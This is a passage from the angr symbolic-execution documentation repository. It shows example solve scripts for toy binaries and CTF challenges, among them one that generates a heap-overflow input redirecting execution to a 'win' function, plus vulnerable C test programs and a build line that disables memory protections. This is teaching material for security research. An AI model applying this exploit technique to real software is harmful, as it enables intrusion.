play with 46 | if not sm.unconstrained: 47 | raise Exception("Uh oh! Couldn't explore to the crashing state. It's possible your libc is too new.") 48 | s = sm.unconstrained[0].copy() 49 | 50 | # Now we can simply tell angr to set the instruction pointer to point at the 51 | # win function to give us execution 52 | s.add_constraints(s.regs.rip == proj.loader.find_symbol('win').rebased_addr) 53 | 54 | print(s.solver.constraints) 55 | assert s.satisfiable() 56 | 57 | # Call the solving engine and write the solution out to a file called "exploit" 58 | print("Writing exploit as \"exploit\"") 59 | with open('exploit', 'wb') as fp: 60 | fp.write(s.posix.dumps(0)) 61 | 62 | # Now you can run the program and feed it your exploit to gain execution 63 | # ./simple_heap_overflow < exploit 64 | 65 | def test(): 66 | # Generate the exploit 67 | main() 68 | 69 | # Make sure it worked 70 | out = subprocess.check_output("{0} < {1}".format( 71 | os.path.join(DIR,"simple_heap_overflow"), 72 | os.path.join(DIR,"exploit"), 73 | ) 74 | ,shell=True) 75 | 76 | # Assert we got to the printing of Win 77 | assert b"Win" in out 78 | 79 | 80 | if __name__ == '__main__': 81 | test() 82 | -------------------------------------------------------------------------------- /examples/strcpy_find/strcpy_test: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/strcpy_find/strcpy_test -------------------------------------------------------------------------------- /examples/sym-write/issue: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/sym-write/issue -------------------------------------------------------------------------------- /examples/sym-write/issue.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | char u=0; 4 | int main(void) 5 | { 6 | int i, bits[2]={0,0}; 7 | for (i=0; i<8; i++) { 8 | bits[(u&(1< 7 | Original at https://lists.cs.ucsb.edu/pipermail/angr/2016-August/000167.html 8 | 9 | The purpose of this example is to show how to use symbolic write addresses. 10 | """ 11 | 12 | import angr 13 | import claripy 14 | 15 | def main(): 16 | p = angr.Project('./issue', load_options={"auto_load_libs": False}) 17 | 18 | # By default, all symbolic write indices are concretized. 19 | state = p.factory.entry_state(add_options={angr.options.SYMBOLIC_WRITE_ADDRESSES}) 20 | 21 | u = claripy.BVS("u", 8) 22 | state.memory.store(0x804a021, u) 23 | 24 | sm = p.factory.simulation_manager(state) 25 | 26 | def correct(state): 27 | try: 28 | return b'win' in state.posix.dumps(1) 29 | except: 30 | return False 31 | def wrong(state): 32 | try: 33 | return b'lose' in state.posix.dumps(1) 34 | except: 35 | return False 36 | 37 | sm.explore(find=correct, avoid=wrong) 38 | 39 | # Alternatively, you can hardcode the addresses. 40 | # sm.explore(find=0x80484e3, avoid=0x80484f5) 41 | 42 | return sm.found[0].solver.eval_upto(u, 256) 43 | 44 | 45 | def test(): 46 | good = set() 47 | for u in range(256): 48 | bits = [0, 0] 49 | for i in range(8): 50 | bits[u&(1< print(sm) 41 | # 42 | # ipdb> print(sm.deadended[-1]) 43 | # 44 | # ipdb> print(sm.deadended[-1].state.posix.dumps(0)) 45 | # hxp{1_h0p3_y0u_d1dnt_p33l_th3_0ni0n_by_h4nd} 46 | # :) 47 | -------------------------------------------------------------------------------- /examples/tumctf2016_zwiebel/zwiebel: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/tumctf2016_zwiebel/zwiebel -------------------------------------------------------------------------------- /examples/unmapped_analysis/Makefile: -------------------------------------------------------------------------------- 1 | all: unmap.c 2 | gcc -o unmap unmap.c -g3 -O0 -z execstack -fno-stack-protector -no-pie -D_FORTIFY_SOURCE=0 3 | -------------------------------------------------------------------------------- /examples/unmapped_analysis/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # Author: David Manouchehri 4 | # Example of halting on unmapped memory 5 | # 6 | # Solution for Eric Miller (Endgame) 7 | # https://lists.cs.ucsb.edu/pipermail/angr/2017-September/000386.html 8 | 9 | import angr 10 | import logging 11 | logging.getLogger('angr.manager').setLevel(logging.DEBUG) 12 | 13 | # import IPython 14 | # logging.getLogger('angr').setLevel(logging.DEBUG) 15 | 16 | def main(): 17 | project = angr.Project('./unmap', load_options={"auto_load_libs": False}) 18 | state = project.factory.entry_state(add_options={angr.options.STRICT_PAGE_ACCESS}) 19 | 20 | simulation_manager = project.factory.simulation_manager(state) 21 | 22 | # (•_•) ( •_•)>⌐■-■ (⌐■_■) 23 | simulation_manager.explore() 24 | 25 | keys = [] 26 | 27 | for deadended in simulation_manager.deadended: 28 | print("Valid memory access triggered by %s" % repr(deadended.posix.dumps(0))) 29 | 30 | for errored in simulation_manager.errored: 31 | stdin = errored.state.posix.dumps(0) 32 | keys.append(stdin) 33 | print("%s caused by %s" % (errored.error, repr(stdin))) 34 | 35 | return keys 36 | 37 | def test(): 38 | answer = [b'275edf0657388c3a1197cdadfad7b96da0f977a3', b'e6dba991c1745128787fbc7a9843306cb2bcc63e'] 39 | keys = main() 40 | assert sorted(keys) == sorted(answer) 41 | 42 | if __name__ == '__main__': 43 | main() 44 | -------------------------------------------------------------------------------- /examples/unmapped_analysis/unmap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/unmapped_analysis/unmap -------------------------------------------------------------------------------- /examples/unmapped_analysis/unmap.c: -------------------------------------------------------------------------------- 1 | /** 2 | * Author: David Manouchehri 3 | */ 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | int block_size = 40; /* Hex SHA1 representation. */ 12 | 13 | char **keys = (char *[]){ 14 | "87ceced7dbc4a4f1557edf87be4a0853807f6b5d", 15 | "e6dba991c1745128787fbc7a9843306cb2bcc63e", 16 | "0db3aa9c620208a1a35bea318e99c678e81d0e7e", 17 | "275edf0657388c3a1197cdadfad7b96da0f977a3", 18 | "1d8b18780e2c154ca110131638d44b469a40b273", 19 | "900cc11181d78f3d1a5c655f5f9ff16d9872b3af", 20 | "1bc7763e91fb2d8bcebdabf50c298faa90a0af4b", 21 | "6297a22b64a46865043de4a641d4799108064396", 22 | "f86c47f81238e1c7894b60a0901c5eada711fb0d" 23 | }; 24 | 25 | int valid() { 26 | printf("Memory is all good.\n"); 27 | exit(EXIT_SUCCESS); 28 | } 29 | 30 | int invalid() { 31 | printf("Hey, how'd you get here?\n"); 32 | exit(EXIT_FAILURE); 33 | } 34 | 35 | int breaker(char *input) { 36 | char valid_read[block_size], invalid_read[block_size], valid_write[block_size], invalid_write[block_size]; 37 | strncpy(valid_read, keys[0], block_size); 38 | strncpy(invalid_read, keys[1], block_size); 39 | strncpy(valid_write, keys[2], block_size); 40 | strncpy(invalid_write, keys[3], block_size); 41 | 42 | if(strncmp(input, valid_read, block_size) == 0) { 43 | volatile int dont_opt_out = strncmp(keys[4], keys[5], block_size); 44 | valid(); 45 | } else if(strncmp(input, invalid_read, block_size) == 0) { 46 | for(void *i = (void *) 0x1337; ; i += block_size) { 47 | printf("Reading from %p\n", i); 48 | volatile int dont_opt_out = strncmp(i, keys[6], block_size); 49 | } 50 | invalid(); 51 | } else if(strncmp(input, valid_write, block_size) == 0) { 52 | volatile char *dont_opt_out = strncpy(valid_write, keys[7], block_size); 53 | valid(); 54 | } else if(strncmp(input, invalid_write, block_size) == 0) { 55 | for(void *i = (void *) 0x44444444; ; i += block_size) { 56 | printf("Writing to %p...\n", i); 57 | volatile char *dont_opt_out = strncpy(i, keys[8], block_size); 58 | } 59 | invalid(); 60 | } 61 | return 0; 62 | } 63 | 64 | int main(int argc, char **argv) { 65 | char input[block_size + 1]; 66 | int state; 67 | 68 | printf("Input:\n"); 69 | read(0, input, block_size); 70 | 71 | state = breaker(input); 72 | 73 | if (!state) { 74 | printf("You're not even trying.\n"); 75 | exit(EXIT_FAILURE); 76 | } 77 | else { 78 | printf("That's odd.\n"); 79 | exit(1337); 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /examples/whitehat_crypto400/whitehat_crypto400: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/whitehat_crypto400/whitehat_crypto400 -------------------------------------------------------------------------------- /examples/whitehatvn2015_re400/re400.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/whitehatvn2015_re400/re400.exe -------------------------------------------------------------------------------- /examples/whitehatvn2015_re400/solve.py: -------------------------------------------------------------------------------- 1 | #import logging 2 | 3 | import angr 4 | 5 | def patch_0(state): 6 | pass 7 | 8 | 9 | def main(): 10 | p = angr.Project("re400.exe", auto_load_libs=False) 11 | 12 | # Patch out the part that is difficult for angr to solve 13 | p.hook(0x401f7e, patch_0, length=0x4028dd-0x401f7e) 14 | p.hook(0x402b5d, patch_0, length=0x402b91-0x402b5d) 15 | 16 | state = p.factory.blank_state(addr=0x401f30) 17 | argv=[b're400.exe', state.solver.BVS('arg1', 37 * 8)] 18 | 19 | 20 | # Add previous conditions got from debugging the part of code that is patched out 21 | state.add_constraints(argv[1].get_byte(0) >= argv[1].get_byte(1)) 22 | state.add_constraints(argv[1].get_byte(0) ^ argv[1].get_byte(1) == 0x1f) 23 | state.add_constraints(argv[1].get_byte(4) <= argv[1].get_byte(5)) 24 | state.add_constraints(argv[1].get_byte(4) ^ argv[1].get_byte(5) == 0x67) 25 | state.add_constraints(argv[1].get_byte(8) >= argv[1].get_byte(9)) 26 | state.add_constraints(argv[1].get_byte(8) ^ argv[1].get_byte(9) == 0x5a) 27 | state.add_constraints(argv[1].get_byte(34) <= argv[1].get_byte(35)) 28 | state.add_constraints(argv[1].get_byte(34) ^ argv[1].get_byte(35) == 0x8) 29 | state.add_constraints(argv[1].get_byte(10) <= argv[1].get_byte(11)) 30 | state.add_constraints(argv[1].get_byte(10) ^ argv[1].get_byte(11) == 0x6b) 31 | state.add_constraints(argv[1].get_byte(6) >= argv[1].get_byte(7)) 32 | state.add_constraints(argv[1].get_byte(6) ^ argv[1].get_byte(7) == 0xd) 33 | state.add_constraints(argv[1].get_byte(2) <= argv[1].get_byte(3)) 34 | state.add_constraints(argv[1].get_byte(2) ^ argv[1].get_byte(3) == 0x34) 35 | state.add_constraints(argv[1].get_byte(32) >= argv[1].get_byte(33)) 36 | state.add_constraints(argv[1].get_byte(32) ^ argv[1].get_byte(33) == 0x1e) 37 | 38 | for i in range(36): 39 | # We want those flags to be printable characters 40 | state.add_constraints(argv[1].get_byte(i) >= 0x20) 41 | state.add_constraints(argv[1].get_byte(i) <= 0x7e) 42 | state.add_constraints(argv[1].get_byte(36) == 0) 43 | 44 | # Prepare the argc and argv 45 | state.memory.store(0xd0000000, argv[0]) # content of argv[0], which is the executable name 46 | state.memory.store(0xd0000010, argv[1]) # content of argv[1], which is our flag 47 | state.stack_push(0xd0000010) # pointer to argv[1] 48 | state.stack_push(0xd0000000) # pointer to argv[0] 49 | state.stack_push(state.regs.esp) # argv 50 | state.stack_push(2) # argc 51 | state.stack_push(0x401f30) # address of main 52 | 53 | state.memory.store(0x413ad4, 36, size=state.arch.bytes, endness=state.arch.memory_endness) 54 | 55 | ex = p.factory.simulation_manager(state) 56 | ex.explore(find=0x402f29, avoid=0x402f3f) 57 | 58 | possible_flags = ex.found[0].solver.eval_upto(argv[1], 20, cast_to=bytes) 59 | for i, f in enumerate(possible_flags): 60 | print("Flag %d:" % i, f) 61 | 62 | return possible_flags 63 | 64 | 65 | def test(): 66 | # Since there are multiple solutions, we just do some basic checks 67 | # on the format of the solutions 68 | res = main() 69 | assert len(res) == 20 70 | for f in res: 71 | f = f[:f.find(b"\x00")] 72 | assert len(f) == 36 73 | assert all(20 <= c <= 0x7e for c in f) 74 | 75 | if __name__ == "__main__": 76 | main() 77 | -------------------------------------------------------------------------------- /tests/test_gitbook.py: -------------------------------------------------------------------------------- 1 | # pylint: disable=exec-used 2 | import os 3 | import unittest 4 | import sys 5 | import traceback 6 | import itertools 7 | import claripy 8 | 9 | # pylint: disable=missing-class-docstring, no-self-use 10 | class TestGitbook(unittest.TestCase): 11 | 12 | def setUp(self): 13 | self.filepath = __file__ 14 | 15 | self.md_files = [] 16 | for _p in ('docs', 'docs/analyses', 'docs/courses'): 17 | self.md_files += [os.path.join(_p, t) for t in os.listdir(self._path(_p)) if t.endswith('.md')] 18 | 19 | def _path(self, d): 20 | return os.path.join(os.path.dirname(self.filepath), '..', d) 21 | 22 | def doctest_single(self, md_file): 23 | orig_path = os.getcwd() 24 | os.chdir(self._path('.')) 25 | try: 26 | claripy.ast.base.var_counter = itertools.count() 27 | test_enabled = False 28 | multiline_enabled = False 29 | multiline_stuff = '' 30 | env = {} 31 | 32 | def try_running(line, i): 33 | try: 34 | exec(line, env) 35 | except Exception as e: 36 | print('Error on line %d of %s: %s' % (i+1, md_file, e)) 37 | traceback.print_exc() 38 | raise Exception('Error on line %d of %s: %s' % (i+1, md_file, e)) from e 39 | 40 | with open(md_file,"r", encoding='utf-8') as file: 41 | lines = [line.rstrip('\n') for line in file] 42 | for i, line in enumerate(lines): 43 | if test_enabled: 44 | if line == '```': 45 | test_enabled = False 46 | else: 47 | if not multiline_enabled: 48 | if line.startswith('>>> '): 49 | line = line[4:] 50 | if lines[i+1].startswith('... '): 51 | multiline_enabled = True 52 | multiline_stuff = line + '\n' 53 | else: 54 | try_running(line, i) 55 | else: 56 | assert line.startswith('... ') 57 | line = line[4:] 58 | multiline_stuff += line + '\n' 59 | if not lines[i+1].startswith('... '): 60 | multiline_enabled = False 61 | try_running(multiline_stuff, i) 62 | else: 63 | if line == '```python': 64 | test_enabled = True 65 | finally: 66 | os.chdir(orig_path) 67 | 68 | def test_docs(self): 69 | sys.path.append('.') 70 | for md_file in self.md_files: 71 | self.doctest_single(md_file) 72 | sys.path.pop() 73 | 74 | if __name__ == '__main__': 75 | unittest.main() 76 | --------------------------------------------------------------------------------